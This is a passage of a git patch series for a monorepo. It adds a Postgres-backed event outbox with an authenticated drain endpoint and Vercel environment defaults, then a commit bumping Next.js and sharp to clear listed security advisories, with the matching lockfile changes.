"processed"; + } catch (error51) { + this.logger.error( + { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + "failed to record a successful delivery" + ); + return "failed"; + } + } + async retryOrBury(registration, claimed, envelope, error51) { + const retry = claimed.attempts - 1; + const description = sanitizeError(error51); + if (retry < this.maxRetriesFor(registration)) { + return this.settle(claimed, "failed", description, this.backoffMs(retry)); + } + return this.bury(claimed, envelope, description); + } + maxRetriesFor(registration) { + return registration.maxRetries ?? this.defaultMaxRetries; + } + async bury(claimed, envelope, description) { + this.logger.error( + { consumer: claimed.consumer, event_id: claimed.event_id, attempts: claimed.attempts }, + "dead-lettering event after exhausting retries" + ); + const outcome = await this.settle(claimed, "dead", description); + try { + this.onDeadLetter?.({ + envelope, + consumer: claimed.consumer, + attempts: claimed.attempts, + error: description, + deadLetteredAt: (/* @__PURE__ */ new Date()).toISOString() + }); + } catch (callbackError) { + this.logger.error({ err: callbackError }, "onDeadLetter callback threw"); + } + return outcome; + } + /** Writes a failure: back to `pending` after `delayMs`, or `dead`. */ + async settle(claimed, outcome, description, delayMs = 0) { + try { + await this.db.update(schema_exports.eventDeliveries).set({ + status: outcome === "dead" ? "dead" : "pending", + lastError: description, + lockedUntil: null, + nextAttemptAt: sql`now() + make_interval(secs => ${delayMs / 1e3}::double precision)`, + updatedAt: sql`now()` + }).where(this.fence(claimed)); + } catch (error51) { + this.logger.error( + { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + "failed to record a failed delivery" + ); + } + return outcome; + } + fence(claimed) { + return and( + eq(schema_exports.eventDeliveries.eventId, claimed.event_id), + eq(schema_exports.eventDeliveries.consumer, claimed.consumer), + eq(schema_exports.eventDeliveries.attempts, claimed.attempts), + eq(schema_exports.eventDeliveries.status, "pending") + ); + } +}; + // packages/messaging/src/rabbitmq-broker.ts var import_amqplib = __toESM(require_channel_api(), 1); // packages/messaging/src/envelope.ts -function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ new Date()).toISOString()) { +function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ new Date()).toISOString(), eventId = newUuid()) { eventPayloadSchema(eventType).parse(payload); return { - event_id: newUuid(), + event_id: eventId, event_type: eventType, occurred_at: occurredAt, trace: trace2, payload }; } +var DERIVED_EVENT_NAMESPACE = Buffer.from("6f1d0c3ae2b94d7f8a5c9e04b7d31a62", "hex"); function routingKeyFor(eventType) { return eventType; } @@ -79940,11 +80480,39 @@ var RabbitMqBroker = class { } }; +// packages/messaging/src/broker.ts +function isDrainableBroker(broker2) { + return typeof broker2.drain === "function"; +} + +// packages/messaging/src/drain-auth.ts +import { createHash as createHash2, timingSafeEqual as timingSafeEqual2 } from "node:crypto"; +function digest(value) { + return createHash2("sha256").update(value, "utf8").digest(); +} +function isAuthorizedDrainRequest(authorization, secret) { + if (secret === "") return false; + const match = /^Bearer\s+(\S+)\s*$/i.exec(authorization ?? ""); + const presented = match?.[1] ?? ""; + const equal = timingSafeEqual2(digest(presented), digest(secret)); + return equal && match !== null; +} + // packages/messaging/src/index.ts function createBroker(options) { if (options.driver === "memory") { return new MemoryBroker({ defaultMaxRetries: options.maxRetries ?? 3 }); } + if (options.driver === "postgres") { + if (options.db === void 0) { + throw new Error("A database handle is required when MESSAGING_DRIVER=postgres"); + } + return new PostgresBroker({ + db: options.db, + logger: options.logger, + ...options.maxRetries === void 0 ? {} : { defaultMaxRetries: options.maxRetries } + }); + } if (options.url === void 0 || options.url === "") { throw new Error("RABBITMQ_URL is required when MESSAGING_DRIVER=rabbitmq"); } @@ -79976,7 +80544,7 @@ var redisEnvSchema = external_exports.object({ REDIS_URL: external_exports.string().min(1).default("redis://localhost:6379") }); var messagingEnvSchema = external_exports.object({ - MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq"]).default("memory"), + MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq", "postgres"]).default("memory"), RABBITMQ_URL: external_exports.string().min(1).optional(), MESSAGING_EXCHANGE: external_exports.string().min(1).default("atlas.events"), MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) @@ -80254,6 +80822,43 @@ function createContactRoute(app2, deps) { }); } +// services/referrals/src/http/routes/drain.ts +var DEFAULT_BUDGET_MS = 2e4; +var MAX_BUDGET_MS = 25e3; +var DRAIN_PATHS = ["/internal/drain", "/internal/referrals/drain"]; +var drainQuerySchema = external_exports.object({ + limit: external_exports.coerce.number().int().min(1).max(1e3).optional(), + budget_ms: external_exports.coerce.number().int().min(100).max(MAX_BUDGET_MS).optional() +}); +function drainRoute(app2, deps) { + const handle = async (request, reply) => { + const secret = deps.env.CRON_SECRET; + if (secret === void 0) { + throw new AppError("UPSTREAM_UNAVAILABLE", "Event draining is not configured"); + } + if (!isAuthorizedDrainRequest(request.headers.authorization, secret)) { + reply.header("www-authenticate", "Bearer"); + throw new AppError("UNAUTHENTICATED", "Missing or invalid drain credentials"); + } + if (!isDrainableBroker(deps.broker)) { + throw new AppError("CONFLICT", "The configured messaging driver has nothing to drain"); + } + const query = drainQuerySchema.parse(request.query); + const startedAt = Date.now(); + const result = await deps.broker.drain({ + budgetMs: query.budget_ms ?? DEFAULT_BUDGET_MS, + limit: query.limit + }); + const durationMs = Date.now() - startedAt; + request.log.info({ ...result, duration_ms: durationMs }, "drained queued events"); + reply.status(200).send({ ...result, duration_ms: durationMs }); + }; + for (const path of DRAIN_PATHS) { + app2.get(path, handle); + app2.post(path, handle); + } +} + // services/referrals/src/http/routes/health.ts function healthRoute(app2, deps) { app2.get("/health", async (_request, reply) => { @@ -80396,6 +81001,7 @@ function buildApp(deps) { }); healthRoute(app2, deps); metricsRoute(app2, metrics2); + drainRoute(app2, deps); createContactRoute(app2, deps); listCompanyContactsRoute(app2, deps); listReferralsRoute(app2, deps); @@ -80408,7 +81014,13 @@ var referralsServiceEnvSchema = external_exports.object({ ...databaseEnvSchema.shape, ...httpEnvSchema.shape, ...messagingEnvSchema.shape, - ...supabaseAuthEnvSchema.shape + ...supabaseAuthEnvSchema.shape, + /** + * Bearer secret for `/internal/drain`, which Vercel Cron sends as + * `Authorization: Bearer $CRON_SECRET` when this variable is set. Unset, the + * route answers 503 and never runs a drain. + */ + CRON_SECRET: external_exports.string().min(16, "CRON_SECRET must be at least 16 characters").optional() }); function loadReferralsServiceEnv(source = process.env) { const normalized = { ...source, PORT: source.PORT ?? source.REFERRALS_SERVICE_PORT }; @@ -80455,6 +81067,7 @@ var broker = createBroker({ url: env.RABBITMQ_URL, exchange: env.MESSAGING_EXCHANGE, maxRetries: env.MESSAGING_MAX_RETRIES, + db, logger }); var tokenVerifier = createTokenVerifierConfig(env); diff --git a/packages/utils/src/vercel.ts b/packages/utils/src/vercel.ts index c4a4199..19ce71c 100644 --- a/packages/utils/src/vercel.ts +++ b/packages/utils/src/vercel.ts @@ -43,15 +43,28 @@ export function createVercelHandler(app: ServerlessApp): VercelHandler { */ export const SERVERLESS_PLACEHOLDER_PORT = '3000'; +/** + * Event driver used on Vercel when none is configured. The in-memory broker + * only delivers inside one process, and every function is its own process, so + * on serverless it silently drops every cross-service event. Defaulting to the + * durable Postgres outbox means a forgotten env var can't recreate that bug. + */ +export const SERVERLESS_DEFAULT_MESSAGING_DRIVER = 'postgres'; + /** * Env source for a service's `loadServiceEnv()`. Outside Vercel it is * `source` untouched, so local dev and tests keep strict validation; on Vercel - * it supplies `PORT` when none is configured. Everything else (DATABASE_URL, - * SUPABASE_URL, ...) is genuine configuration and still fails fast if absent. + * it supplies `PORT` and `MESSAGING_DRIVER` when none is configured. Everything + * else (DATABASE_URL, SUPABASE_URL, ...) is genuine configuration and still + * fails fast if absent. */ export function withServerlessEnvDefaults( source: Record = process.env, ): Record { if (!source.VERCEL) return source; - return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; + return { + ...source, + PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT, + MESSAGING_DRIVER: source.MESSAGING_DRIVER ?? SERVERLESS_DEFAULT_MESSAGING_DRIVER, + }; } diff --git a/packages/utils/test/vercel.test.ts b/packages/utils/test/vercel.test.ts index 680fdeb..9e7118b 100644 --- a/packages/utils/test/vercel.test.ts +++ b/packages/utils/test/vercel.test.ts @@ -1,6 +1,7 @@ import type { IncomingMessage, ServerResponse } from 'node:http'; import { describe, expect, it, vi } from 'vitest'; import { + SERVERLESS_DEFAULT_MESSAGING_DRIVER, SERVERLESS_PLACEHOLDER_PORT, createVercelHandler, withServerlessEnvDefaults, @@ -85,19 +86,37 @@ describe('withServerlessEnvDefaults', () => { expect(withServerlessEnvDefaults(source)).not.toHaveProperty('PORT'); }); - it('supplies a placeholder PORT on Vercel without mutating the source', () => { + it('supplies a placeholder PORT and the durable event driver on Vercel without mutating the source', () => { const source = { VERCEL: '1', DATABASE_URL: 'postgres://example' }; const result = withServerlessEnvDefaults(source); - expect(result).toEqual({ ...source, PORT: SERVERLESS_PLACEHOLDER_PORT }); + expect(result).toEqual({ + ...source, + PORT: SERVERLESS_PLACEHOLDER_PORT, + MESSAGING_DRIVER: SERVERLESS_DEFAULT_MESSAGING_DRIVER, + }); expect(source).not.toHaveProperty('PORT'); + expect(source).not.toHaveProperty('MESSAGING_DRIVER'); }); it('keeps an explicitly configured PORT on Vercel', () => { expect(withServerlessEnvDefaults({ VERCEL: '1', PORT: '8080' }).PORT).toBe('8080'); }); - it('does not invent any other configuration', () => { + it('defaults to the postgres outbox on Vercel because the in-memory broker cannot cross functions', () => { + expect(SERVERLESS_DEFAULT_MESSAGING_DRIVER).toBe('postgres'); + expect(withServerlessEnvDefaults({ VERCEL: '1' }).MESSAGING_DRIVER).toBe('postgres'); + }); + + it('keeps an explicitly configured MESSAGING_DRIVER on Vercel', () => { + expect(withServerlessEnvDefaults({ VERCEL: '1', MESSAGING_DRIVER: 'rabbitmq' }).MESSAGING_DRIVER).toBe('rabbitmq'); + }); + + it('does not default MESSAGING_DRIVER outside Vercel, so local dev and tests keep the memory broker', () => { + expect(withServerlessEnvDefaults({}).MESSAGING_DRIVER).toBeUndefined(); + }); + + it('does not invent any genuine configuration (database, auth, secrets)', () => { const result = withServerlessEnvDefaults({ VERCEL: '1' }); - expect(Object.keys(result).sort()).toEqual(['PORT', 'VERCEL']); + expect(Object.keys(result).sort()).toEqual(['MESSAGING_DRIVER', 'PORT', 'VERCEL']); }); }); diff --git a/vercel.json b/vercel.json index 92c8754..180498b 100644 --- a/vercel.json +++ b/vercel.json @@ -26,6 +26,10 @@ { "source": "/v1/messages/:path*", "destination": "/api/outreach" }, { "source": "/v1/learning/:path*", "destination": "/api/learning" }, { "source": "/v1/analytics/:path*", "destination": "/api/analytics" }, - { "source": "/v1/admin/:path*", "destination": "/api/admin" } + { "source": "/v1/admin/:path*", "destination": "/api/admin" }, + { "source": "/internal/matching/:path*", "destination": "/api/matching" }, + { "source": "/internal/referrals/:path*", "destination": "/api/referrals" }, + { "source": "/internal/learning/:path*", "destination": "/api/learning" }, + { "source": "/internal/analytics/:path*", "destination": "/api/analytics" } ] } From e55e8a2f9bad40b801efbfe759df892784d6651f Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:54:14 +0000 Subject: [PATCH 25/91] fix(deps): bump next to 16.4.1 in web and admin Clears the critical and high Next.js advisories reported by pnpm audit: - GHSA-2464-fhr4-w9xw (critical): RCE in the image optimization API when SVG files are used, via the sharp/librsvg memory bug (patched >=16.4.1) - GHSA-673q-mjm6-r5xr (critical): RCE in `use cache` functions returning typed arrays (patched >=16.4.1; we do not use `use cache`) - GHSA-vcvr-r3jv-pc5j (critical): RCE in next/og ImageResponse (patched >=16.3.6; we do not use next/og) - GHSA-p3m5-59mp-jv5r (high): DoS in App Router with Server Actions (patched >=16.4.1; we define no Server Actions) - GHSA-cjq9-62q9-8jv4 (high): SSRF in image optimization (>=16.3.8) - plus the moderate/low 16.3.8 fixes (cache poisoning, metadata image route and dev MCP endpoint disclosure, nested `use cache` leak) 16.4.1 is the first release that is patched for all of them. web and admin stay aligned on the same version. next@16.4.1 declares sharp ^0.35.5, so the lockfile also moves sharp 0.35.4 -> 0.35.5 (GHSA-wq5f-xc86-pv6w, high) and its libvips binaries 1.3.3 -> 1.3.4 with no extra override. Verified: both apps build with Turbopack, middleware.ts is still recognised, and per-app typechecks pass. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- apps/admin/package.json | 2 +- apps/web/package.json | 2 +- pnpm-lock.yaml | 324 ++++++++++++++++++++-------------------- 3 files changed, 164 insertions(+), 164 deletions(-) diff --git a/apps/admin/package.json b/apps/admin/package.json index 8332284..735e13f 100644 --- a/apps/admin/package.json +++ b/apps/admin/package.json @@ -16,7 +16,7 @@ "@supabase/supabase-js": "^2.75.0", "framer-motion": "^13.4.0", "lucide-react": "^1.47.0", - "next": "^16.3.5", + "next": "^16.4.1", "react": "^19.3.0", "react-dom": "^19.3.0", "zod": "^4.4.3" diff --git a/apps/web/package.json b/apps/web/package.json index b00412f..5b963ee 100644 --- a/apps/web/package.json +++ b/apps/web/package.json @@ -16,7 +16,7 @@ "@supabase/supabase-js": "^2.75.0", "framer-motion": "^13.4.0", "lucide-react": "^1.47.0", - "next": "^16.3.5", + "next": "^16.4.1", "react": "^19.3.0", "react-dom": "^19.3.0", "zod": "^4.4.3" diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 47a225a..0c53726 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -64,8 +64,8 @@ importers: specifier: ^1.47.0 version: 1.47.0(react@19.3.0) next: - specifier: ^16.3.5 - version: 16.3.5(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + specifier: ^16.4.1 + version: 16.4.1(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) react: specifier: ^19.3.0 version: 19.3.0 @@ -116,8 +116,8 @@ importers: specifier: ^1.47.0 version: 1.47.0(react@19.3.0) next: - specifier: ^16.3.5 - version: 16.3.5(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + specifier: ^16.4.1 + version: 16.4.1(@opentelemetry/api@1.9.1)(@types/node@24.13.3)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) react: specifier: ^19.3.0 version: 19.3.0 @@ -1494,144 +1494,144 @@ packages: resolution: {integrity: sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==} engines: {node: '>=18'} - '@img/sharp-darwin-arm64@0.35.4': - resolution: {integrity: sha512-Uhfl4V4lhP2nbUVF9+hyH1+luj86f1gUFeo8ALYxFoULoU+G87D43BfeMP8XHsk9boxAnCY/bf2EHwhA7MuGsA==} + '@img/sharp-darwin-arm64@0.35.5': + resolution: {integrity: sha512-QRUlFQ0WxvdWyqqG/WtI3iupfD5rBzmCHXSdPsY91sAtVtTo7Q4cb6zOccZ3gqEqkr0f1As1ehLqmEpDsRf+lg==} engines: {node: '>=20.9.0'} cpu: [arm64] os: [darwin] - '@img/sharp-darwin-x64@0.35.4': - resolution: {integrity: sha512-hWniXY3bG5qKpkKrAwPe4y+VTPmf086YQAnkxWh7uA1YrlRouWGa0M0Mxj3ZjnXFkv7/TD1bTy9lGUK26vRvWw==} + '@img/sharp-darwin-x64@0.35.5': + resolution: {integrity: sha512-+BR255RhDlpygUpOc/Jdt1nT6DQ3XG/ERo5wbcdOf5Q320dKtPCKPLR1LJs9VGXRaMa8l1uUa0tkCNOXiAxZUw==} engines: {node: '>=20.9.0'} cpu: [x64] os: [darwin] - '@img/sharp-freebsd-wasm32@0.35.4': - resolution: {integrity: sha512-lIsKw/BU+kjB4eZjxrYrZmwOJYi3Ajrv66iAlBmUPyKc3HpnloevB1g3wxGD9P/5BbQ1brBGl65VRRrCvQDEqA==} + '@img/sharp-freebsd-wasm32@0.35.5': + resolution: {integrity: sha512-Y/z91nEZ4uIBX5X3nfTovjU9lHNKFYbL2lpHCLVNmXQK03VIZvXBBt0KxbPGp2SdGSF+2mQU4e+hQaWOt86iAw==} engines: {node: '>=20.9.0'} os: [freebsd] - '@img/sharp-libvips-darwin-arm64@1.3.3': - resolution: {integrity: sha512-suTBPTDGrI9WodccaDdwZItTSaBYASlBk1NSfElSHrUfzu3szG6lvIF58+WiFvnfzuK8ZBFS5zE00PxqxnRiPg==} + '@img/sharp-libvips-darwin-arm64@1.3.4': + resolution: {integrity: sha512-5R89nBYiRdUlSWJxPhO+GVtaXzXSxKnRu/xqMn3KTA3L9EB9Oy/P+Nn2f2vlhPuUdy/Zusb2DarbyTpGCfEDuw==} cpu: [arm64] os: [darwin] - '@img/sharp-libvips-darwin-x64@1.3.3': - resolution: {integrity: sha512-FVJZ5mITMobmXIz/hPDTw0EintTW5H3WfrxwLqEqjiIihlu+hVRyGrFQ60xl0Lxn7Bt3zdpevPaQi0HEzqz9fw==} + '@img/sharp-libvips-darwin-x64@1.3.4': + resolution: {integrity: sha512-iR2OKH80yi0U+dUplyh3/xdpFvps6YkCwsXenIJxqxR1v9o+xtKTGbS9H7cps+2Vxjc8B1j96p75NmTGjIhtpQ==} cpu: [x64] os: [darwin] - '@img/sharp-libvips-linux-arm64@1.3.3': - resolution: {integrity: sha512-0DaL0A6Xu6sQSQFwe4iVCrKWU2cCTItnRsYsCdxAMm9NF6twAA9BKnoqy4hqz4+azQ0JHuA26qiUKsf1XJ/v5A==} + '@img/sharp-libvips-linux-arm64@1.3.4': + resolution: {integrity: sha512-Y3dgX/6lE2QhQb+Gxy0WZxfg9MEm/JBjamZpS2IklP7xIQoKN4hzAm7KcMVGtaVDt3neE9OKBC7vAfonA/Lr1A==} cpu: [arm64] os: [linux] - '@img/sharp-libvips-linux-arm@1.3.3': - resolution: {integrity: sha512-3rbU4vqXXc3hY/OiXdl52xZvT0F1yEngWfvqudtPJg/KkyiaQw2DRsFrNzpmLvfavbwOq3qXn36GP8obHRULQA==} + '@img/sharp-libvips-linux-arm@1.3.4': + resolution: {integrity: sha512-LmRtTsOHuvM2+wlO2Db37dx5MiZhB0FvSunciw48YjdOkZz9KAiRbm8ujeMOA1INqmei5NapFxYEK1D1ZSidmw==} cpu: [arm] os: [linux] - '@img/sharp-libvips-linux-ppc64@1.3.3': - resolution: {integrity: sha512-cdn1OvUBwsXhbC0zSzJnNzf5MZ/mTrobawDvNXBTxe8VtqKAm0sRuEY2Evzovb/w9JMk4TvRxqt1mekSuJz64w==} + '@img/sharp-libvips-linux-ppc64@1.3.4': + resolution: {integrity: sha512-Le6boB8Tai0Nis+gIxIpKx68UDVVIqdR8Tin5Yf1z2LJJQLDJvCDRqRu+jC2qCoD+eIomonmOwB4smBRxfVpYQ==} cpu: [ppc64] os: [linux] - '@img/sharp-libvips-linux-riscv64@1.3.3': - resolution: {integrity: sha512-HjPVx7yKz+0lqdhDlTw1tt90wamBoxhiXpvl1XZpJLiHH4RCJ5yDTqH+VlYPv2fwFs89JFw4c1IexYOcQUi4IQ==} + '@img/sharp-libvips-linux-riscv64@1.3.4': + resolution: {integrity: sha512-aHkkIEHPRdQEegJN20MLmGtxYD9R2wQr3Cwpddnu5+YKMt6Uzax7S9h5gpZTo8wyrGuZSlfQ63OevL5mTyOC7Q==} cpu: [riscv64] os: [linux] - '@img/sharp-libvips-linux-s390x@1.3.3': - resolution: {integrity: sha512-neWLh+3yCNThxnfy3c4BbVBeGgt9aftno+XbT56iK28RgeDs3UOFWviLWlUu0bArYVYJaFDK+RRohbicUNCm8Q==} + '@img/sharp-libvips-linux-s390x@1.3.4': + resolution: {integrity: sha512-ra/mB6MikESDUO7Yg+Mi95bFBb9GsObURuhnOv3OqknjGe9sZrG8tCe9q0xSIGrtLgvgw0gKnFWcK4blSgQOuQ==} cpu: [s390x] os: [linux] - '@img/sharp-libvips-linux-x64@1.3.3': - resolution: {integrity: sha512-4vKmvAst9nrowcqquKFAyZJUDolUaIp8uRiN0mWFguJ1IplC9/pitXtlnnlU4aa/eJw3J7i67V+pwUL+wZGdsA==} + '@img/sharp-libvips-linux-x64@1.3.4': + resolution: {integrity: sha512-GJ//SSXbnwSDes02umB3nDJLFcQzw8a18V8fyhqr6tV515tOEMdImjjxj1AoafMRz56F3PHgftnj1QEKSU1zkw==} cpu: [x64] os: [linux] - '@img/sharp-libvips-linuxmusl-arm64@1.3.3': - resolution: {integrity: sha512-Y9kQaLMuNoB0bPYOOdcZMaseNrFpPodIWWMrx+CZyydf2xn68j9WYc6sWWRrDwNkzCQjKYfc68L7jKjGlHMibw==} + '@img/sharp-libvips-linuxmusl-arm64@1.3.4': + resolution: {integrity: sha512-hvulFwtjUcagsis6BBxHwGFwWoNZjgYmULGVrZcyfNbjA8hKILbRxGg15/7w5HDyXHXUos/j6baAWqnCyQ2DWA==} cpu: [arm64] os: [linux] - '@img/sharp-libvips-linuxmusl-x64@1.3.3': - resolution: {integrity: sha512-fj8Mv0HHfD1Rr+4I68+3agJynxDWtBFgicTbSOb9Bke6pIwzGcJ+RX/yHjmiEGFMCavY/dxvem7MyNaJF+wDiw==} + '@img/sharp-libvips-linuxmusl-x64@1.3.4': + resolution: {integrity: sha512-6zXKeE/p39I1AmA3cJG35eyBGNqNddLnUXjhwBnsGjFPWqf5VKkDBEqaEkPDoTEtkxwi2vv8Tcr2mDyP4So7Fg==} cpu: [x64] os: [linux] - '@img/sharp-linux-arm64@0.35.4': - resolution: {integrity: sha512-De4jpEnAU8Hd5oT0j1G3uL4ZvTuipVMn7YC6vPaJhy6/7EwEae0SVAoBrUMYQbkLGDm85taVWwuPc1a44LTzCQ==} + '@img/sharp-linux-arm64@0.35.5': + resolution: {integrity: sha512-LYVx5JTsOM2CBzmxreh+nl64/3H6Xb09iSLknqH47z2T2DFFxDeFLP5y4dJwe6H7uGQlHPyEEtIqyo3DYsRwdQ==} engines: {node: '>=20.9.0'} cpu: [arm64] os: [linux] - '@img/sharp-linux-arm@0.35.4': - resolution: {integrity: sha512-7OAS8gI0EReKGVN2HssHlM6umJgxF5VI3xN0p9FA91p/YO+ou5hiNghLdZ5BEHztwaaK5+bLKRf8x/o2L2nk9A==} + '@img/sharp-linux-arm@0.35.5': + resolution: {integrity: sha512-LEaXK2WdXVK5ykcw0buWyPMsmLLL2vpHLD6yrNSW+JGEL3BZPA4tpKN6iaMc4AxTTAoaX/sU1rOL51lcIz48ZQ==} engines: {node: '>=20.9.0'} cpu: [arm] os: [linux] - '@img/sharp-linux-ppc64@0.35.4': - resolution: {integrity: sha512-2oYZJeIl4kCcMGk4ouZVjnkCtFrpQFlNEtJ6GbxzhHQchwH0NH/qEb9ykmOl29dqwMq+JhFdZn+1ak2FKhI9fQ==} + '@img/sharp-linux-ppc64@0.35.5': + resolution: {integrity: sha512-QVxAAq8evVRI9ia2vqgwrmWucn5Dfv+JdWzj75pD8omHLPSP7f8p20O8jxzjCcuCEQEOtYOZUmX1hkiZ0kdevA==} engines: {node: '>=20.9.0'} cpu: [ppc64] os: [linux] - '@img/sharp-linux-riscv64@0.35.4': - resolution: {integrity: sha512-cPbNChoRURAWdebDIHSenxRpgEdy7JkPydSnUxRm9VvKD7m0/xVaR/8Fzlu81pk5nHEvHH87UZUA7cTtwnbJSA==} + '@img/sharp-linux-riscv64@0.35.5': + resolution: {integrity: sha512-LtdreXguaavKODPIfzJ4kffx7UNt1omwtK0rch4EBbbSTXPnxWmYSayXdLJw0fJzQ97kHt1gL/yh4tvU+nCyRQ==} engines: {node: '>=20.9.0'} cpu: [riscv64] os: [linux] - '@img/sharp-linux-s390x@0.35.4': - resolution: {integrity: sha512-RY0JFY8Fd6RonCBtHz+DvadaPkXDSI1AUn6yWL9TipqkZ1vY8w8evqdgyDFnkm4/K1ve1TvZiaePP5oSd4+WVQ==} + '@img/sharp-linux-s390x@0.35.5': + resolution: {integrity: sha512-UZasTOFiYzotTsGOCu42BfUzP6Tu6Do/947iRm1RsLKvlllxwGcn4RN27LibGWceix4Y+Pmw3jsnTcCQIgWjqA==} engines: {node: '>=20.9.0'} cpu: [s390x] os: [linux] - '@img/sharp-linux-x64@0.35.4': - resolution: {integrity: sha512-9qvvEAuk8k89TfWUoX2htWjbAMX8p+NxCppjpcg5k6xMsjhBQPTsoIh36h9Qde4WRuGpJeYnOjdosDn/cnv+OA==} + '@img/sharp-linux-x64@0.35.5': + resolution: {integrity: sha512-SxFtLTeJInhAA9Q836kux2vZNeOBQEx658qvbboZScr0wIARym3IcGmW7KpVD5sbVg0Ojy+udFQdayYIZyoNog==} engines: {node: '>=20.9.0'} cpu: [x64] os: [linux] - '@img/sharp-linuxmusl-arm64@0.35.4': - resolution: {integrity: sha512-KB5jxpfWQTr0nc3xdHtWChdbifHrBGsd2SM62Eyxrl8afikm+f5qGBU75SJIZBT/S1MC8XyacdlXBMSWq6OURA==} + '@img/sharp-linuxmusl-arm64@0.35.5': + resolution: {integrity: sha512-9HbMclmI1zlNkFRs3z9/eBtDjfD0sGlrX1z6b1qwmiFY5ElDLh4BC0LPBdVp7z1DXFiKlIcznf+ZlsuZzLxQqg==} engines: {node: '>=20.9.0'} cpu: [arm64] os: [linux] - '@img/sharp-linuxmusl-x64@0.35.4': - resolution: {integrity: sha512-f+eZJZIQNEEd26RPSW+76chwOf1XtA2Y/O+5ocVyLliHkeih3e+jhLVBdNTd2rS3IbNXK8+ug93Vf5ZXtF5Lxg==} + '@img/sharp-linuxmusl-x64@0.35.5': + resolution: {integrity: sha512-4KOphqB035HrVdqLZfCgMzzERrQkkzOwRhl4OAkRO1YCldbaFjySXMaK534Mo0V+LndnlJk+sbUyLeU0ULyD1A==} engines: {node: '>=20.9.0'} cpu: [x64] os: [linux] - '@img/sharp-wasm32@0.35.4': - resolution: {integrity: sha512-zQnl4Kwp7Q6NHsENtU2T/00Zi+w3AQNwz3+UaTyVBy2FpXrzXzGjndpK61onhZjRtRpQXxCTeqw19bVyXOh7jA==} + '@img/sharp-wasm32@0.35.5': + resolution: {integrity: sha512-Ptsga1su4tQx+LLF1ECS9U6nz5kmrXKo6XVbtR48Ke3ZRxxgaWBu7IDtEe1quo8hiupwm6WFqxVlXaSf7IINGQ==} engines: {node: '>=20.9.0'} - '@img/sharp-webcontainers-wasm32@0.35.4': - resolution: {integrity: sha512-ESfNkywmCfPNyaZjxooddJQiQ+l/nTpGEOGthxiLnIHXC/CmcBixnfwUleX9mCz9ovrUUvKMap/pm8RYbzfwaA==} + '@img/sharp-webcontainers-wasm32@0.35.5': + resolution: {integrity: sha512-hfhF/FmoQyTUkA0bIKFOtw536BQSeBMe6BF6QyWlrPxT754+TFLaZ7sKKTfvvM0yJgKgaYTwnFCIZ/GuDw5SUA==} engines: {node: '>=20.9.0'} cpu: [wasm32] - '@img/sharp-win32-arm64@0.35.4': - resolution: {integrity: sha512-iNdlBX9gLVvqe2I3uIJSIKTq6wckP/DYxZtcqxm09x5Gi24DnFBmPAWZmr60ZyYMG0xlzo6goG3670ar+RXvRw==} + '@img/sharp-win32-arm64@0.35.5': + resolution: {integrity: sha512-X4t7g+7ZA5DKblCBEXGjUqqemj4vczING/5viFwAL8h4N3qYeyjwdCvRLHi4EdOUI+2Z7UFlp1VM+p/AuEtm6Q==} engines: {node: '>=20.9.0'} cpu: [arm64] os: [win32] - '@img/sharp-win32-ia32@0.35.4': - resolution: {integrity: sha512-kqRsbaa5CS6KHlpxnN7WhE6vAAugXyZButpRdvDWetlv6Qv4N9WTcrWzF7tXfB9T7MsoadqdI8hmwLq6UlLvtw==} + '@img/sharp-win32-ia32@0.35.5': + resolution: {integrity: sha512-5Zm82LoBc43nhwNybZlG7Y1KO//Zhsn306fQl29ZOuStHLGTo3BWL83q3cznX0poxSAMuYL1On/BHBxkBeKr6A==} engines: {node: ^20.9.0} cpu: [ia32] os: [win32] - '@img/sharp-win32-x64@0.35.4': - resolution: {integrity: sha512-XtmnYhBcrORsJ4XJngyzr/EWP0hRZLAZRFaApdKuviyqF78+ylxh2y06ZmtULAMOnObJ3ucpN0AcwSWnMowTRg==} + '@img/sharp-win32-x64@0.35.5': + resolution: {integrity: sha512-x76eH0vEiHlcMQu8Y8IenntaACtddpT6W0wmXtWrnKcnKI7ME5DdgqhAD6SEWOEl1v2zDvkZDhFA9KnURwpfqg==} engines: {node: '>=20.9.0'} cpu: [x64] os: [win32] @@ -1727,53 +1727,53 @@ packages: '@emnapi/core': ^1.7.1 || ^2.0.0-alpha.3 '@emnapi/runtime': ^1.7.1 || ^2.0.0-alpha.3 - '@next/env@16.3.5': - resolution: {integrity: sha512-NWEXVDMqoEo0ktmU6u0sE2Vg0LOcsD7NnOTJNo3/fEaTfsg+F1bMIxuDmQbda4e3yTIQwVdUREF2yIuMOusKtg==} + '@next/env@16.4.1': + resolution: {integrity: sha512-5sUUrrSvs/2/2LnLoesybMGx12EtPB46fdZ6RhAw0XDGSPxU2LFyQBB7yuEiOFFJPKmBY6+q2jTr1/AMbnp0/g==} - '@next/swc-darwin-arm64@16.3.5': - resolution: {integrity: sha512-pMmGgETfKvElucLHtVaeiMRbp2zUbvKx7b1yGko0liBz3cw1mKSggWN/Rp/wPz8z+E1O82u3r4L1Co+ZS5hokQ==} + '@next/swc-darwin-arm64@16.4.1': + resolution: {integrity: sha512-U+hQ5Gj3fpzf4fveTIF3dpUFYhaSW8vHhdAnbiIomzXzg7boreYFgBqprepXFtW4sw+aTttiNmg0gew/iFNhbg==} engines: {node: '>= 10'} cpu: [arm64] os: [darwin] - '@next/swc-darwin-x64@16.3.5': - resolution: 